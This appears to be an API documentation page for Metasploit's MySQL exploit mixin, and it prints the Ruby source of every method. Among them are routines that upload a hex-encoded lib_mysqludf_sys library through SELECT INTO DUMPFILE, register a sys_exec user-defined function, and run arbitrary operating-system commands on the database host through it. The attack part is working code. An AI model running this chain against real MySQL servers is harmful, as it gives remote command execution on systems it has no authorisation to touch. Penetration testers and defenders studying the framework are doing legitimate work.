Module: Msf::Exploit::Remote::MYSQL
- Includes:
- Tcp
- Defined in:
- lib/msf/core/exploit/mysql.rb
Instance Attribute Summary
Attributes included from Tcp
#sock
Instance Method Summary
collapse
Methods included from Tcp
#chost, #cleanup, #connect, #connect_timeout, #cport, #deregister_tcp_options, #disconnect, #handler, #lhost, #lport, #peer, #print_prefix, #proxies, #rhost, #rport, #set_tcp_evasions, #shutdown, #ssl, #ssl_cipher, #ssl_verify_mode, #ssl_version
Instance Method Details
#initialize(info = {}) ⇒ Object
23
24
25
26
27
28
29
30
31
32
33
34
|
# File 'lib/msf/core/exploit/mysql.rb', line 23
def initialize(info = {})
super
register_options(
[
Opt::RHOST,
Opt::RPORT(3306),
OptString.new('USERNAME', [ false, 'The username to authenticate as' ]),
OptString.new('PASSWORD', [ false, 'The password for the specified username' ]),
], Msf::Exploit::Remote::MYSQL
)
end
|
#mysql_add_sys_exec ⇒ Object
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
|
# File 'lib/msf/core/exploit/mysql.rb', line 209
def mysql_add_sys_exec
arch = mysql_get_arch
case arch
when :win64,:win32,:linux64,:linux32
target_path = mysql_get_plugin_dir
if target_path
print_status "Target arch (#{arch}) and target path both okay."
soname = mysql_upload_sys_udf(arch,target_path)
mysql_drop_and_create_sys_exec(soname)
return true
else
print_status "Cannot determine an appropriate target path."
false
end
when :unknown
print_error "Cannot determine target's architecture"
return false
else
print_error "Target is an incompatible architecture: #{arch}"
return false
end
end
|
#mysql_check_for_sys_exec ⇒ Object
232
233
234
235
236
|
# File 'lib/msf/core/exploit/mysql.rb', line 232
def mysql_check_for_sys_exec
print_status "Checking for sys_exec()..."
res = mysql_query("select * from mysql.func where name = 'sys_exec'")
res.size == 1
end
|
#mysql_drop_and_create_sys_exec(soname) ⇒ Object
175
176
177
178
179
180
181
182
183
184
|
# File 'lib/msf/core/exploit/mysql.rb', line 175
def mysql_drop_and_create_sys_exec(soname)
mysql_query("DROP FUNCTION IF EXISTS sys_exec")
res = mysql_query("CREATE FUNCTION sys_exec RETURNS int SONAME '#{soname}'")
return false if res.nil?
return true
end
|
#mysql_get_arch ⇒ Object
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
|
# File 'lib/msf/core/exploit/mysql.rb', line 186
def mysql_get_arch
print_status "Checking target architecture..."
res = mysql_get_variable("@@version_compile_os")
return :unknown unless res
case res
when /Win64/i
:win64
when /Win32/i
:win32
when /Linux/i
res = mysql_get_variable("@@version_compile_machine")
return :unknown unless res
if res =~ /x86_64/i
:linux64
else
:linux32
end
else
res
end
end
|
#mysql_get_plugin_dir ⇒ Object
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
|
# File 'lib/msf/core/exploit/mysql.rb', line 100
def mysql_get_plugin_dir
print_status "Checking for MySQL plugin directory..."
plugin_res = nil
base_res = nil
plugin_res = mysql_get_variable("@@plugin_dir") rescue nil
begin
res = mysql_query("show variables like 'basedir'")
base_res = res.first[1] if res.respond_to? :first
rescue nil
end
if plugin_res.respond_to? :split
target_path = plugin_res.split(/[\x5c\x2f]+/n).join("/") << "/"
elsif base_res.respond_to? :split
target_path = base_res.split(/[\x5c\x2f]+/n).join("/") << "/bin/"
else
print_error "Cannot determine the plugin directory."
return false
end
end
|
#mysql_get_temp_dir ⇒ Object
122
123
124
125
126
127
128
129
130
131
|
# File 'lib/msf/core/exploit/mysql.rb', line 122
def mysql_get_temp_dir
print_status "Checking for temp directory..."
res = mysql_get_variable("@@tmpdir")
if res.respond_to? :split
target_path = res.split(/[\x5c\x2f]+/n).join("/") << "/"
else
print_error "Cannot determine the temp directory, exiting."
return false
end
end
|
#mysql_get_variable(var) ⇒ Object
133
134
135
136
137
138
|
# File 'lib/msf/core/exploit/mysql.rb', line 133
def mysql_get_variable(var)
res = mysql_query("SELECT #{var}")
if res and res.respond_to? :first
return res.first.first
end
end
|
#mysql_login(user = 'root', pass = '', db = nil) ⇒ Object
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
|
# File 'lib/msf/core/exploit/mysql.rb', line 36
def mysql_login(user='root', pass='', db=nil)
disconnect if self.sock
connect
begin
@mysql_handle = ::RbMysql.connect({
:host => rhost,
:port => rport,
:read_timeout => 300,
:write_timeout => 300,
:socket => sock,
:user => user,
:password => pass,
:db => db
})
rescue Errno::ECONNREFUSED
print_error("Connection refused")
return false
rescue RbMysql::ClientError
print_error("Connection timedout")
return false
rescue Errno::ETIMEDOUT
print_error("Operation timedout")
return false
rescue RbMysql::HostNotPrivileged
print_error("Unable to login from this host due to policy")
return false
rescue RbMysql::AccessDeniedError
print_error("Access denied")
return false
end
return true
end
|
#mysql_login_datastore ⇒ Object
76
77
78
79
80
81
82
83
84
85
|
# File 'lib/msf/core/exploit/mysql.rb', line 76
def mysql_login_datastore
begin
res = mysql_login(datastore['USERNAME'], datastore['PASSWORD'])
rescue Rex::ConnectionTimeout => e
print_error("Timeout: #{e.message}")
res = false
end
return res
end
|
#mysql_logoff ⇒ Object
71
72
73
74
|
# File 'lib/msf/core/exploit/mysql.rb', line 71
def mysql_logoff
@mysql_handle = nil if @mysql_handle
disconnect if self.sock
end
|
#mysql_query(sql) ⇒ Object
87
88
89
90
91
92
93
94
95
96
97
98
|
# File 'lib/msf/core/exploit/mysql.rb', line 87
def mysql_query(sql)
begin
res = @mysql_handle.query(sql)
rescue ::RbMysql::Error => e
print_error("MySQL Error: #{e.class} #{e.to_s}")
return nil
rescue Rex::ConnectionTimeout => e
print_error("Timeout: #{e.message}")
return nil
end
res
end
|
#mysql_sys_exec(cmd, doprint = false, opts = {}) ⇒ Object
238
239
240
241
242
243
244
|
# File 'lib/msf/core/exploit/mysql.rb', line 238
def mysql_sys_exec(cmd,doprint=false,opts={})
res = mysql_query("select sys_exec('#{cmd}')")
if res && doprint
print_status "Executing: #{cmd}"
return res
end
end
|
#mysql_upload_binary(bindata) ⇒ Object
140
141
142
143
144
145
146
147
148
149
150
|
# File 'lib/msf/core/exploit/mysql.rb', line 140
def mysql_upload_binary(bindata)
blob = "0x"
blob << bindata.unpack("C*").map {|x| "%02x" % [x]}.join
tmpdir = mysql_get_temp_dir
binname = Rex::Text.rand_text_alpha(8)
binpath = tmpdir << binname
print_status "Uploading binary as #{binpath}..."
print_status "SELECT #{blob} into DUMPFILE '#{binpath}'"
res = mysql_query("SELECT #{blob} into DUMPFILE '#{binpath}'")
return res
end
|
#mysql_upload_sys_udf(arch = :win32, target_path = nil) ⇒ Object
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
|
# File 'lib/msf/core/exploit/mysql.rb', line 152
def mysql_upload_sys_udf(arch=:win32,target_path=nil)
case arch
when :win32
fname = 'lib_mysqludf_sys_32.dll'
when :win64
fname = 'lib_mysqludf_sys_64.dll'
when :linux32
fname = 'lib_mysqludf_sys_32.so'
when :linux64
fname = 'lib_mysqludf_sys_64.so'
end
sys_dll = File.join( Msf::Config.data_directory, "exploits", "mysql", fname )
data = File.open(sys_dll, "rb") {|f| f.read f.stat.size}
blob = "0x"
blob << data.unpack("C*").map {|x| "%02x" % [x]}.join
dll_name = Rex::Text.rand_text_alpha(8)
[:win32, :win64].include?(arch) ? extension = '.dll' : extension = '.so'
target_dll = target_path << dll_name << extension
print_status "Uploading #{fname} library to #{target_dll}..."
mysql_query("SELECT #{blob} into DUMPFILE '#{target_dll}'")
return dll_name << extension
end
|